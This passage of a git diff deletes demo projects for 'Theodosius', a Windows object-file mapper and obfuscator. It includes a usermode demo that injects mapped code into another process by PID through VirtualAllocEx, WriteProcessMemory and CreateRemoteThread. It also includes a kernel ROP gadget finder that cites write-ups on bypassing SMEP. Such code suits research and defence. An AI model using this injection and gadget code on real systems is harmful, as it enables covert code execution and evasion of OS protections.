data[PACKET_DATA_SIZE]; - } copy_memory; - - struct - { - std::uintptr_t symbol_addr; - std::size_t symbol_size; - char symbol[PACKET_SYMBOL_SIZE]; - } resolve; - }; - } theo_data, * ptheo_data; -#pragma pack(pop) - - class client - { - public: - explicit client(SOCKET client_socket); - ~client(); - - private: - void handler() const; - void* wrapper_memcpy(void* dest, const void* src, std::size_t size) const; - void* wrapper_alloc(std::size_t size, std::uint32_t prot) const; - std::uintptr_t wrapper_resolve_symbol(const char* symbol_name) const; - - const SOCKET client_socket; - std::thread handler_thread; - }; - - inline std::map> connections; - inline std::map> lib_files; -} \ No newline at end of file diff --git a/demos/Theodosius-Server/linker.hpp b/demos/Theodosius-Server/linker.hpp deleted file mode 100644 index c0e4647..0000000 --- a/demos/Theodosius-Server/linker.hpp +++ /dev/null @@ -1,76 +0,0 @@ -#pragma once -#include -#include -#include -#include -#include -#include "utils.hpp" - -namespace lnk -{ - enum theo_type - { - obfuscate = 1, - mutate = 2, - encrypt = 3 - }; - - struct symbol_t - { - // name of the symbol... not mangled... - std::string symbol_name; - - // https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#type-representation - std::uint32_t type; - - // what section this symbol is in... - std::uint32_t section_number; - - // offset into section... - std::uint32_t section_offset; - - // file offset into OBJ file... - std::uint32_t file_offset; - - // only used by functions... size in bytes of routine... - std::uint32_t size; - - // if this symbol is a function and is inside of a .theo section... - theo_type obfuscate_type; - }; - - // redef of IMAGE_RELOCATION so that "VirtualAddress" - // will actually be a file offset instead of a section offset... - struct image_reloc_t - { - // name of the symbol to be resolved for example "ExAllocatePool"... - std::string resolve_symbol_name; - - // offset into the obj file where the resolving needs to be done... - std::uint32_t file_offset; - - // type of data that needs to be resolved... this will be 64bit addresses... - // https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#type-indicators - std::uint16_t type; - }; - - using obj_buffer_t = std::vector; - using map_symbols_t = std::map>; - - auto get_symbol_size(symbol_t& sym, obj_buffer_t& obj) -> std::uint32_t; - auto get_objs(std::string lib_path, std::vector& objs) -> bool; - auto get_map_symbols(std::string map_path) -> map_symbols_t; - - namespace sym - { - auto get_all(obj_buffer_t& obj) -> std::vector; - auto get_relocs(obj_buffer_t& obj)->std::vector; - } - - namespace section - { - using section_callback_t = std::function; - auto get_header(obj_buffer_t& obj, const char* section_name) -> PIMAGE_SECTION_HEADER; - auto for_each(section_callback_t callback, obj_buffer_t& obj) -> void; - } -} \ No newline at end of file diff --git a/demos/Theodosius-Server/main.cpp b/demos/Theodosius-Server/main.cpp deleted file mode 100644 index 7aa1577..0000000 --- a/demos/Theodosius-Server/main.cpp +++ /dev/null @@ -1,105 +0,0 @@ -#include "client.hpp" -#include "linker.hpp" - -int __cdecl main(int argc, char** argv) -{ - if (argc <= 4) - { - std::printf("[!] invalid usage...\n"); - std::printf("\t> server.exe --ip 0.0.0.0 --port 1234\n"); - std::printf("\t> server.exe --ip 0.0.0.0 --port 1234 --debug\n"); - return -1; - } - - for (auto idx = 0; idx < argc; ++idx) - if (!strcmp(argv[idx], "--debug")) - dbg_print = true; - - int result{}; - SOCKET server_socket, client_socket; - - WSADATA startup_data; - ADDRINFOA addr_info, *addr_result = nullptr; - memset(&addr_info, NULL, sizeof addr_info); - - if ((result = WSAStartup(MAKEWORD(2, 2), &startup_data))) - { - std::printf("[!] failed to startup wsa... reason = %d\n", result); - return -1; - } - - if ((result = getaddrinfo(argv[2], argv[4], &addr_info, &addr_result))) - { - std::printf("[!] failed to get address info = %s:%s, reason = %d\n", - argv[2], argv[4], result); - return -1; - } - - if ((server_socket = socket(addr_result->ai_family, - addr_result->ai_socktype, addr_result->ai_protocol)) == INVALID_SOCKET) - { - std::printf("[!] failed to create socket... reason = %d\n", - WSAGetLastError()); - return -1; - } - - if ((result = bind(server_socket, addr_result->ai_addr, addr_result->ai_addrlen))) - { - std::printf("[!] failed to bind server socket... reason = %d\n", result); - return -1; - } - - if ((result = listen(server_socket, SOMAXCONN))) - { - std::printf("[!] failed to listen on socket... reason = %d\n", result); - return -1; - } - - // read libs off disk and into map... - std::vector demo_dll, demo_imgui, demo_drv; - - lnk::get_objs("DemoDll.lib", demo_dll); - if (demo_dll.empty()) - { - std::printf("[!] failed to load DemoDll.lib objs...\n"); - return -1; - } - std::printf("[+] loaded objs from DemoDll.lib... count = %d\n", demo_dll.size()); - - lnk::get_objs("DemoDrv.lib", demo_drv); - if (demo_drv.empty()) - { - std::printf("[!] failed to load DemoDrv.lib objs...\n"); - return -1; - } - std::printf("[+] loaded objs from DemoDrv.lib... count = %d\n", demo_drv.size()); - - lnk::get_objs("DemoImGui.lib", demo_imgui); - if (demo_imgui.empty()) - { - std::printf("[!] failed to load DemoImGui.lib objs...\n"); - return -1; - } - std::printf("[+] loaded objs from DemoImGui.lib... count = %d\n", demo_imgui.size()); - - theo::lib_files[theo::theo_file_type::demo_dll] = demo_dll; - theo::lib_files[theo::theo_file_type::demo_drv] = demo_drv; - theo::lib_files[theo::theo_file_type::demo_imgui] = demo_imgui; - - std::printf("[+] listening on %s:%s...\n", argv[2], argv[4]); - while ((client_socket = accept(server_socket, NULL, NULL)) != INVALID_SOCKET) - { - theo::connections[client_socket] = - std::shared_ptr( - new theo::client(client_socket)); - - sockaddr socket_info; - int socket_info_len = sizeof socket_info; - - const auto psocket_info = - reinterpret_cast(&socket_info); - - getpeername(client_socket, &socket_info, &socket_info_len); - std::printf("[+] new client... ip = %s\n", inet_ntoa(psocket_info->sin_addr)); - } -} \ No newline at end of file diff --git a/demos/Theodosius-Server/theo.h b/demos/Theodosius-Server/theo.h deleted file mode 100644 index 3615438..0000000 --- a/demos/Theodosius-Server/theo.h +++ /dev/null @@ -1,40 +0,0 @@ -#pragma once -#include -#include -#include -#include -#include - -namespace obfuscation{ class obfuscate; } -namespace lnk { using obj_buffer_t = std::vector; } - -namespace theo -{ - using malloc_t = std::function; - using memcpy_t = std::function; - - using resolve_symbol_t = std::function; - using mapper_routines_t = std::tuple; - - class hmm_ctx - { - public: - explicit hmm_ctx(const mapper_routines_t& routines); - auto map_objs(std::vector& objs) -> bool; - auto get_symbol(std::string symbol_name) -> std::uintptr_t; - - malloc_t alloc; - memcpy_t mcopy; - resolve_symbol_t resolve_symbol; - private: - bool map_symbols(std::vector& objs); - bool map_obfuscated_symbols(std::vector& objs); - - bool resolve_relocs(std::vector& objs); - bool alloc_obfuscated_symbol_space(std::vector& objs); - bool alloc_symbol_space(std::vector& objs); - - std::map mapped_symbols; - std::map> obfuscated_gadgets; - }; -} \ No newline at end of file diff --git a/demos/Theodosius-Server/utils.hpp b/demos/Theodosius-Server/utils.hpp deleted file mode 100644 index 48d9c73..0000000 --- a/demos/Theodosius-Server/utils.hpp +++ /dev/null @@ -1,428 +0,0 @@ -/* - WARNING: utils.hpp must be the first file included... - this is because i use getenv and that requires _CRT_SECURE_NO_WARNINGS... -*/ - -#pragma once -#define _CRT_SECURE_NO_WARNINGS -#pragma comment(lib, "ntdll.lib") - -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include - -inline bool dbg_print = false; -#define DBG_PRINT(format, ...) \ - if (dbg_print) std::printf(format, __VA_ARGS__ ) - -typedef struct _RTL_PROCESS_MODULE_INFORMATION -{ - HANDLE Section; - PVOID MappedBase; - PVOID ImageBase; - ULONG ImageSize; - ULONG Flags; - USHORT LoadOrderIndex; - USHORT InitOrderIndex; - USHORT LoadCount; - USHORT OffsetToFileName; - UCHAR FullPathName[256]; - } RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION; - -typedef struct _RTL_PROCESS_MODULES -{ - ULONG NumberOfModules; - RTL_PROCESS_MODULE_INFORMATION Modules[1]; -} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES; - -#define SystemKernelVaShadowInformation (SYSTEM_INFORMATION_CLASS) 196 -typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION -{ - struct - { - ULONG KvaShadowEnabled : 1; - ULONG KvaShadowUserGlobal : 1; - ULONG KvaShadowPcid : 1; - ULONG KvaShadowInvpcid : 1; - ULONG KvaShadowRequired : 1; - ULONG KvaShadowRequiredAvailable : 1; - ULONG InvalidPteBit : 6; - ULONG L1DataCacheFlushSupported : 1; - ULONG L1TerminalFaultMitigationPresent : 1; - ULONG Reserved : 18; - } KvaShadowFlags; -} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, * PSYSTEM_KERNEL_VA_SHADOW_INFORMATION; - -namespace utils -{ - inline std::uintptr_t scan(std::uintptr_t base, std::uint32_t size, const char* pattern, const char* mask) - { - static const auto check_mask = - [&](const char* base, const char* pattern, const char* mask) -> bool - { - for (; *mask; ++base, ++pattern, ++mask) - if (*mask == 'x' && *base != *pattern) - return false; - return true; - }; - - size -= strlen(mask); - for (auto i = 0; i <= size; ++i) - { - void* addr = (void*)&(((char*)base)[i]); - if (check_mask((char*)addr, pattern, mask)) - return reinterpret_cast(addr); - } - - return NULL; - } - - inline void open_binary_file(const std::string& file, std::vector& data) - { - std::ifstream fstr(file, std::ios::binary); - fstr.unsetf(std::ios::skipws); - fstr.seekg(0, std::ios::end); - - const auto file_size = fstr.tellg(); - - fstr.seekg(NULL, std::ios::beg); - data.reserve(static_cast(file_size)); - data.insert(data.begin(), std::istream_iterator(fstr), std::istream_iterator()); - } - - inline std::uint32_t get_pid(const wchar_t* proc_name) - { - PROCESSENTRY32 proc_info; - proc_info.dwSize = sizeof(proc_info); - - HANDLE proc_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); - if (proc_snapshot == INVALID_HANDLE_VALUE) - return NULL; - - Process32First(proc_snapshot, &proc_info); - if (!wcscmp(proc_info.szExeFile, proc_name)) - { - CloseHandle(proc_snapshot); - return proc_info.th32ProcessID; - } - - while (Process32Next(proc_snapshot, &proc_info)) - { - if (!wcscmp(proc_info.szExeFile, proc_name)) - { - CloseHandle(proc_snapshot); - return proc_info.th32ProcessID; - } - } - - CloseHandle(proc_snapshot); - return NULL; - } - - - namespace kmodule - { - using kmodule_callback_t = std::function; - inline void each_module(kmodule_callback_t callback) - { - void* buffer = nullptr; - DWORD buffer_size = NULL; - - auto status = NtQuerySystemInformation( - static_cast(0xB), - buffer, buffer_size, &buffer_size); - - while (status == STATUS_INFO_LENGTH_MISMATCH) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - status = NtQuerySystemInformation( - static_cast(0xB), - buffer, buffer_size, &buffer_size); - } - - if (!NT_SUCCESS(status)) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - return; - } - - const auto modules = static_cast(buffer); - for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) - { - auto full_path = std::string( - reinterpret_cast( - modules->Modules[idx].FullPathName)); - - if (full_path.find("\\SystemRoot\\") != std::string::npos) - full_path.replace(full_path.find("\\SystemRoot\\"), - sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\")); - - else if (full_path.find("\\??\\") != std::string::npos) - full_path.replace(full_path.find("\\??\\"), - sizeof("\\??\\") - 1, ""); - - if (!callback(&modules->Modules[idx], full_path.c_str())) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - return; - } - } - - VirtualFree(buffer, NULL, MEM_RELEASE); - return; - } - - inline std::uintptr_t get_base(const char* module_name) - { - void* buffer = nullptr; - DWORD buffer_size = NULL; - - auto status = NtQuerySystemInformation( - static_cast(0xB), - buffer, buffer_size, &buffer_size); - - while (status == STATUS_INFO_LENGTH_MISMATCH) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - status = NtQuerySystemInformation( - static_cast(0xB), - buffer, buffer_size, &buffer_size); - } - - if (!NT_SUCCESS(status)) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - return NULL; - } - - const auto modules = static_cast(buffer); - for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) - { - const auto current_module_name = - std::string(reinterpret_cast( - modules->Modules[idx].FullPathName) + - modules->Modules[idx].OffsetToFileName); - - if (!_stricmp(current_module_name.c_str(), module_name)) - { - const auto result = - reinterpret_cast( - modules->Modules[idx].ImageBase); - - VirtualFree(buffer, NULL, MEM_RELEASE); - return result; - } - } - - VirtualFree(buffer, NULL, MEM_RELEASE); - return NULL; - } - - inline std::uintptr_t get_export(const char* module_name, const char* export_name) - { - void* buffer = nullptr; - DWORD buffer_size = NULL; - - NTSTATUS status = NtQuerySystemInformation( - static_cast(0xB), - buffer, - buffer_size, - &buffer_size - ); - - while (status == STATUS_INFO_LENGTH_MISMATCH) - { - VirtualFree(buffer, 0, MEM_RELEASE); - buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - status = NtQuerySystemInformation( - static_cast(0xB), - buffer, - buffer_size, - &buffer_size - ); - } - - if (!NT_SUCCESS(status)) - { - VirtualFree(buffer, 0, MEM_RELEASE); - return NULL; - } - - const auto modules = static_cast(buffer); - for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) - { - // find module and then load library it - const std::string current_module_name = - std::string(reinterpret_cast( - modules->Modules[idx].FullPathName) + - modules->Modules[idx].OffsetToFileName - ); - - if (!_stricmp(current_module_name.c_str(), module_name)) - { - auto full_path = std::string( - reinterpret_cast( - modules->Modules[idx].FullPathName)); - - if (full_path.find("\\SystemRoot\\") != std::string::npos) - full_path.replace(full_path.find("\\SystemRoot\\"), - sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\")); - - else if (full_path.find("\\??\\") != std::string::npos) - full_path.replace(full_path.find("\\??\\"), - sizeof("\\??\\") - 1, ""); - - const auto module_base = - LoadLibraryExA( - full_path.c_str(), - NULL, - DONT_RESOLVE_DLL_REFERENCES - ); - - if (!module_base) - { - // free the RTL_PROCESS_MODULES buffer... - VirtualFree(buffer, NULL, MEM_RELEASE); - return NULL; - } - - const auto image_base = - reinterpret_cast( - modules->Modules[idx].ImageBase); - - // free the RTL_PROCESS_MODULES buffer... - VirtualFree(buffer, NULL, MEM_RELEASE); - - const auto export_um_addr = - reinterpret_cast( - GetProcAddress(module_base, export_name)); - - if (!export_um_addr) - return NULL; - - return (export_um_addr - reinterpret_cast(module_base)) + image_base; - } - } - - VirtualFree(buffer, NULL, MEM_RELEASE); - return NULL; - } - } - - namespace pe - { - using section_callback_t = std::function; - - // returns an std::vector containing all of the bytes of the section - // and also the RVA from the image base to the beginning of the section... - inline std::pair, std::uint32_t> get_section(std::uintptr_t module_base, const char* section_name) - { - const auto nt_headers = reinterpret_cast( - reinterpret_cast(module_base)->e_lfanew + module_base); - - const auto section_header = - reinterpret_cast( - reinterpret_cast(nt_headers) + sizeof(DWORD) - + sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader); - - for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx) - { - const auto _section_name = - reinterpret_cast( - section_header[idx].Name); - - // sometimes section names are not null terminated... - if (!strncmp(_section_name, section_name, strlen(section_name) - 1)) - { - const auto section_base = - reinterpret_cast( - module_base + section_header[idx].VirtualAddress); - - const auto section_end = - reinterpret_cast( - section_base + section_header[idx].Misc.VirtualSize); - - std::vector section_bin(section_base, section_end); - return { section_bin, section_header[idx].VirtualAddress }; - } - } - - return { {}, {} }; - } - - inline void each_section(section_callback_t callback, std::uintptr_t module_base) - { - if (!module_base) - return; - - const auto nt_headers = reinterpret_cast( - reinterpret_cast(module_base)->e_lfanew + module_base); - - const auto section_header = - reinterpret_cast( - reinterpret_cast(nt_headers) + sizeof(DWORD) - + sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader); - - for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx) - { - const auto _section_name = - reinterpret_cast( - section_header[idx].Name); - - // keep looping until the callback returns false... - if (!callback(§ion_header[idx], module_base)) - return; - } - } - } - - namespace rop - { - // https://j00ru.vexillium.org/2011/06/smep-what-is-it-and-how-to-beat-it-on-windows/ - // http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html?m=1 - // just implimented the rop information from these posts... - inline std::uintptr_t find_kgadget(const char* sig, const char* mask) - { - std::uintptr_t result = 0u; - kmodule::each_module( - [&](auto kernel_image, const char* image_name) -> bool - { - utils::pe::each_section( - [&](auto section_header, std::uintptr_t image_base) -> bool - { - if (section_header->Characteristics & IMAGE_SCN_CNT_CODE && - !(section_header->Characteristics & IMAGE_SCN_MEM_DISCARDABLE)) - { - const auto rop_gadget = - utils::scan(image_base + section_header->VirtualAddress, - section_header->Misc.VirtualSize, sig, mask); - - if(rop_gadget) - result = (rop_gadget - image_base) + - reinterpret_cast(kernel_image->ImageBase); - - return !rop_gadget; - } - return true; - }, - reinterpret_cast( - LoadLibraryExA(image_name, - NULL, DONT_RESOLVE_DLL_REFERENCES)) - ); - return !result; - } - ); - return result; - } - } -} \ No newline at end of file diff --git a/demos/Theodosius-Usermode/Theodosius-Usermode.vcxproj b/demos/Theodosius-Usermode/Theodosius-Usermode.vcxproj deleted file mode 100644 index 397fa49..0000000 --- a/demos/Theodosius-Usermode/Theodosius-Usermode.vcxproj +++ /dev/null @@ -1,100 +0,0 @@ - - - - - Debug - x64 - - - Release - x64 - - - - 16.0 - Win32Proj - {BE437FEC-EA25-4E93-9B73-A028F9DD698F} - Theodosius - 10.0 - Theodosius-Usermode - - - - Application - true - v142 - Unicode - - - Application - false - v142 - true - Unicode - - - - - - - - - - - - - - - - true - $(ProjectDir);$(IncludePath) - - - false - $(ProjectDir);$(IncludePath) - - - - Level3 - true - _DEBUG;_CONSOLE;%(PreprocessorDefinitions);ZYAN_NO_LIBC;ZYDIS_NO_LIBC;ZYCORE_STATIC_DEFINE;ZYDIS_STATIC_DEFINE;_CRT_SECURE_NO_WARNINGS - true - stdcpp17 - - - Console - true - $(ProjectDir)libs\Theodosius.lib;%(AdditionalDependencies) - - - - - Level3 - true - true - true - NDEBUG;_CONSOLE;%(PreprocessorDefinitions);ZYAN_NO_LIBC;ZYDIS_NO_LIBC;ZYCORE_STATIC_DEFINE;ZYDIS_STATIC_DEFINE;_CRT_SECURE_NO_WARNINGS - true - stdcpp17 - - - Console - true - true - true - $(ProjectDir)libs\Theodosius.lib;%(AdditionalDependencies) - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/demos/Theodosius-Usermode/Theodosius-Usermode.vcxproj.filters b/demos/Theodosius-Usermode/Theodosius-Usermode.vcxproj.filters deleted file mode 100644 index 339acf1..0000000 --- a/demos/Theodosius-Usermode/Theodosius-Usermode.vcxproj.filters +++ /dev/null @@ -1,29 +0,0 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx - - - {93995380-89BD-4b04-88EB-625FBE52EBFB} - h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd - - - - - Source Files - - - - - Header Files - - - Header Files - - - Header Files - - - \ No newline at end of file diff --git a/demos/Theodosius-Usermode/Theodosius-Usermode.vcxproj.user b/demos/Theodosius-Usermode/Theodosius-Usermode.vcxproj.user deleted file mode 100644 index e9f3ec8..0000000 --- a/demos/Theodosius-Usermode/Theodosius-Usermode.vcxproj.user +++ /dev/null @@ -1,13 +0,0 @@ - - - - - - WindowsLocalDebugger - - - - - WindowsLocalDebugger - - \ No newline at end of file diff --git a/demos/Theodosius-Usermode/linker.hpp b/demos/Theodosius-Usermode/linker.hpp deleted file mode 100644 index 447d5e6..0000000 --- a/demos/Theodosius-Usermode/linker.hpp +++ /dev/null @@ -1,76 +0,0 @@ -#pragma once -#include -#include -#include -#include -#include -#include "utils.hpp" - -namespace lnk -{ - enum theo_type - { - obfuscate = 1, - mutate = 2, - encrypt = 3 - }; - - struct symbol_t - { - // name of the symbol... not mangled... - std::string symbol_name; - - // https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#type-representation - std::uint32_t type; - - // what section this symbol is in... - std::uint32_t section_number; - - // offset into section... - std::uint32_t section_offset; - - // file offset into OBJ file... - std::uint32_t file_offset; - - // only used by functions... size in bytes of routine... - std::uint32_t size; - - // if this symbol is a function and is inside of a .theo section... - theo_type obfuscate_type; - }; - - // redef of IMAGE_RELOCATION so that "VirtualAddress" - // will actually be a file offset instead of a section offset... - struct image_reloc_t - { - // name of the symbol to be resolved for example "ExAllocatePool"... - std::string resolve_symbol_name; - - // offset into the obj file where the resolving needs to be done... - std::uint32_t file_offset; - - // type of data that needs to be resolved... this will be 64bit addresses... - // https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#type-indicators - std::uint16_t type; - }; - - using obj_buffer_t = std::vector; - using map_symbols_t = std::map>; - - auto get_symbol_size(symbol_t& sym, obj_buffer_t& obj)->std::uint32_t; - auto get_objs(std::string lib_path, std::vector& objs) -> bool; - auto get_map_symbols(std::string map_path)->map_symbols_t; - - namespace sym - { - auto get_all(obj_buffer_t& obj)->std::vector; - auto get_relocs(obj_buffer_t& obj)->std::vector; - } - - namespace section - { - using section_callback_t = std::function; - auto get_header(obj_buffer_t& obj, const char* section_name)->PIMAGE_SECTION_HEADER; - auto for_each(section_callback_t callback, obj_buffer_t& obj) -> void; - } -} \ No newline at end of file diff --git a/demos/Theodosius-Usermode/main.cpp b/demos/Theodosius-Usermode/main.cpp deleted file mode 100644 index 22a53bb..0000000 --- a/demos/Theodosius-Usermode/main.cpp +++ /dev/null @@ -1,186 +0,0 @@ -#include -#include -#include -#include - -#include "theo.h" -#include "linker.hpp" - -using extern_symbols_t = std::vector>; -using objs_buffer_t = std::vector; - -auto get_mapping_info(int argc, char** argv) -> std::pair -{ - auto maps_offset = 0u; - std::vector image_objs; - std::vector> extern_symbols; - - for (auto idx = 2; idx < argc; ++idx) - { - if (!strcmp(argv[idx], "--maps")) - { - maps_offset = idx + 1; - break; - } - - // another flag so we break... - if (argv[idx][0] == '-' && argv[idx][1] == '-') - break; - - if (!lnk::get_objs(argv[idx], image_objs)) - { - std::printf("> failed to parse lib...\n"); - return {}; - } - } - - if (maps_offset) - { - for (auto idx = maps_offset; idx <= argc - 1; ++idx) - { - extern_symbols.push_back - ({ - std::filesystem::path(argv[idx]).stem().string(), - lnk::get_map_symbols(argv[idx]) - }); - } - } - - return { image_objs, extern_symbols }; -} - -int main(int argc, char** argv) -{ - if (argc < 3 || strcmp(argv[1], "--libs")) - { - std::printf("[!] invalid usage... please use one of the following:\n"); - std::printf(" > theo.exe --libs one.lib two.lib three.lib --pid 1234\n"); - std::printf(" > theo.exe --libs one.lib --pid 1234\n"); - return -1; - } - - auto [image_objs, extern_symbols] = get_mapping_info(argc, argv); - std::printf("[+] number of objs = %d\n", image_objs.size()); - - if (!image_objs.size()) - { - std::printf("[!] failed to parse .lib...\n"); - return -1; - } - - std::uint32_t pid_offset = 0u, pid = 0u; - for (auto idx = 3; idx < argc; ++idx) - if (!strcmp(argv[idx], "--pid")) - pid_offset = idx + 1; - - for (auto idx = 3; idx < argc; ++idx) - if (!strcmp(argv[idx], "--debug")) - dbg_print = true; - - if (!pid_offset || !(pid = std::atoi(argv[pid_offset]))) - { - std::printf("[!] invalid pid...\n"); - return -1; - } - - const auto phandle = - OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); - - if (phandle == INVALID_HANDLE_VALUE) - { - std::printf("[!] failed to open handle...\n"); - return -1; - } - - theo::malloc_t _alloc = [&](std::size_t size, std::uint32_t prot) -> void* - { - const auto result = - VirtualAllocEx - ( - phandle, - nullptr, - size, - MEM_COMMIT | MEM_RESERVE, - prot - ); - - if (!result) - { - std::printf("[!] failed to allocate virtual memory...\n"); - exit(-1); - } - - return result; - }; - - theo::memcpy_t _memcpy = - [&](void* dest, const void* src, std::size_t size) -> void* - { - SIZE_T bytes_handled; - if (!WriteProcessMemory(phandle, dest, src, size, &bytes_handled)) - { - std::printf("[!] failed to write memory... reason = 0x%x\n", GetLastError()); - std::getchar(); - } - return dest; - }; - - theo::resolve_symbol_t _resolver = - [&, &extern_symbols = extern_symbols](const char* symbol_name) -> std::uintptr_t - { - static std::map symbol_table; - - if (!symbol_table[symbol_name]) - { - auto loaded_modules = std::make_unique(64); - std::uintptr_t result = 0u, loaded_module_sz = 0u; - - if (!EnumProcessModules(phandle, - loaded_modules.get(), 512, (PDWORD)&loaded_module_sz)) - return {}; - - for (auto i = 0u; i < loaded_module_sz / 8u; i++) - { - wchar_t file_name[MAX_PATH] = L""; - if (!GetModuleFileNameExW(phandle, - loaded_modules.get()[i], file_name, _countof(file_name))) - continue; - - if ((result = reinterpret_cast( - GetProcAddress(LoadLibrary(file_name), symbol_name)))) - break; - } - - symbol_table[symbol_name] = result; - return result; - } - - return symbol_table[symbol_name]; - }; - - theo::hmm_ctx mapper({ _alloc, _memcpy, _resolver }); - if (!mapper.map_objs(image_objs)) - { - std::printf("[!] failed to map object files...\n"); - std::getchar(); - return -1; - } - - const auto module_entry = - reinterpret_cast( - mapper.get_symbol("main")); - - std::printf("[+] module entry -> 0x%p\n", module_entry); - std::getchar(); - - if (module_entry) - { - std::uint32_t tid = 0u; - CreateRemoteThread(phandle, NULL, - NULL, module_entry, NULL, NULL, (LPDWORD)&tid); - - std::printf("[+] thread id = %d\n", tid); - } - std::printf("[+] press enter to close...\n"); - std::getchar(); -} \ No newline at end of file diff --git a/demos/Theodosius-Usermode/theo.h b/demos/Theodosius-Usermode/theo.h deleted file mode 100644 index 3615438..0000000 --- a/demos/Theodosius-Usermode/theo.h +++ /dev/null @@ -1,40 +0,0 @@ -#pragma once -#include -#include -#include -#include -#include - -namespace obfuscation{ class obfuscate; } -namespace lnk { using obj_buffer_t = std::vector; } - -namespace theo -{ - using malloc_t = std::function; - using memcpy_t = std::function; - - using resolve_symbol_t = std::function; - using mapper_routines_t = std::tuple; - - class hmm_ctx - { - public: - explicit hmm_ctx(const mapper_routines_t& routines); - auto map_objs(std::vector& objs) -> bool; - auto get_symbol(std::string symbol_name) -> std::uintptr_t; - - malloc_t alloc; - memcpy_t mcopy; - resolve_symbol_t resolve_symbol; - private: - bool map_symbols(std::vector& objs); - bool map_obfuscated_symbols(std::vector& objs); - - bool resolve_relocs(std::vector& objs); - bool alloc_obfuscated_symbol_space(std::vector& objs); - bool alloc_symbol_space(std::vector& objs); - - std::map mapped_symbols; - std::map> obfuscated_gadgets; - }; -} \ No newline at end of file diff --git a/demos/Theodosius-Usermode/utils.hpp b/demos/Theodosius-Usermode/utils.hpp deleted file mode 100644 index 4d46ae3..0000000 --- a/demos/Theodosius-Usermode/utils.hpp +++ /dev/null @@ -1,428 +0,0 @@ -/* - WARNING: utils.hpp must be the first file included... - this is because i use getenv and that requires _CRT_SECURE_NO_WARNINGS... -*/ - -#pragma once -#define _CRT_SECURE_NO_WARNINGS -#pragma comment(lib, "ntdll.lib") - -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include - -inline bool dbg_print = false; -#define DBG_PRINT(format, ...) \ - if (dbg_print) std::printf(format, __VA_ARGS__ ) - -typedef struct _RTL_PROCESS_MODULE_INFORMATION -{ - HANDLE Section; - PVOID MappedBase; - PVOID ImageBase; - ULONG ImageSize; - ULONG Flags; - USHORT LoadOrderIndex; - USHORT InitOrderIndex; - USHORT LoadCount; - USHORT OffsetToFileName; - UCHAR FullPathName[256]; -} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION; - -typedef struct _RTL_PROCESS_MODULES -{ - ULONG NumberOfModules; - RTL_PROCESS_MODULE_INFORMATION Modules[1]; -} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES; - -#define SystemKernelVaShadowInformation (SYSTEM_INFORMATION_CLASS) 196 -typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION -{ - struct - { - ULONG KvaShadowEnabled : 1; - ULONG KvaShadowUserGlobal : 1; - ULONG KvaShadowPcid : 1; - ULONG KvaShadowInvpcid : 1; - ULONG KvaShadowRequired : 1; - ULONG KvaShadowRequiredAvailable : 1; - ULONG InvalidPteBit : 6; - ULONG L1DataCacheFlushSupported : 1; - ULONG L1TerminalFaultMitigationPresent : 1; - ULONG Reserved : 18; - } KvaShadowFlags; -} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, * PSYSTEM_KERNEL_VA_SHADOW_INFORMATION; - -namespace utils -{ - inline std::uintptr_t scan(std::uintptr_t base, std::uint32_t size, const char* pattern, const char* mask) - { - static const auto check_mask = - [&](const char* base, const char* pattern, const char* mask) -> bool - { - for (; *mask; ++base, ++pattern, ++mask) - if (*mask == 'x' && *base != *pattern) - return false; - return true; - }; - - size -= strlen(mask); - for (auto i = 0; i <= size; ++i) - { - void* addr = (void*)&(((char*)base)[i]); - if (check_mask((char*)addr, pattern, mask)) - return reinterpret_cast(addr); - } - - return NULL; - } - - inline void open_binary_file(const std::string& file, std::vector& data) - { - std::ifstream fstr(file, std::ios::binary); - fstr.unsetf(std::ios::skipws); - fstr.seekg(0, std::ios::end); - - const auto file_size = fstr.tellg(); - - fstr.seekg(NULL, std::ios::beg); - data.reserve(static_cast(file_size)); - data.insert(data.begin(), std::istream_iterator(fstr), std::istream_iterator()); - } - - inline std::uint32_t get_pid(const wchar_t* proc_name) - { - PROCESSENTRY32 proc_info; - proc_info.dwSize = sizeof(proc_info); - - HANDLE proc_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); - if (proc_snapshot == INVALID_HANDLE_VALUE) - return NULL; - - Process32First(proc_snapshot, 